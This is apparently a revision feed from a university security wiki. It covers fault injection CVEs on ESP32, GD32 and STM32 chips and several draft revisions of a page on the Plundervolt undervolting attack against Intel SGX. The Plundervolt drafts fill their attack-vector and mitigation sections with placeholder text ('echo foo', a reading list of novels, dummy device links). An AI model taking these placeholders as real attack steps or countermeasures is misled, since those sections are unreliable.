Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== Espressif ESP32: Bypassing Flash Encryption &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]&lt;br /&gt;
&lt;br /&gt;
=== Gigadevice GD32F130 devices: Debug interface permissions escalation &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]&lt;br /&gt;
&lt;br /&gt;
=== STM32 USB Device Library: Buffer overflow vulnerability exploit &amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; === &lt;br /&gt;
&lt;br /&gt;
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]&lt;br /&gt;
&lt;br /&gt;
== Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:&amp;lt;ref name=&amp;quot;FI2&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*  Proper shielding&lt;br /&gt;
&lt;br /&gt;
*  Proper physical hardening of systems and devices&lt;br /&gt;
&lt;br /&gt;
*  Fault detection mechanisms&lt;br /&gt;
&lt;br /&gt;
* Resistance against [[Side Channel Attacks]]&lt;br /&gt;
&lt;br /&gt;
* Redundancy for critical control signals &lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI&amp;quot;&amp;gt;Y. Li, M. Chen and J. Wang, &amp;quot;Introduction to side-channel attacks and fault attacks,&amp;quot; 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;FI2&amp;quot;&amp;gt;https://payatu.com/blog/asmita-jha/fault-injection-basics&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8989</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8989"/>
		<updated>2021-12-21T22:08:08Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8988</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8988"/>
		<updated>2021-12-21T22:07:42Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8987</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8987"/>
		<updated>2021-12-21T22:07:24Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8984</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8984"/>
		<updated>2021-12-21T22:03:50Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8983</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8983"/>
		<updated>2021-12-21T22:02:48Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8982</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8982"/>
		<updated>2021-12-21T22:02:34Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
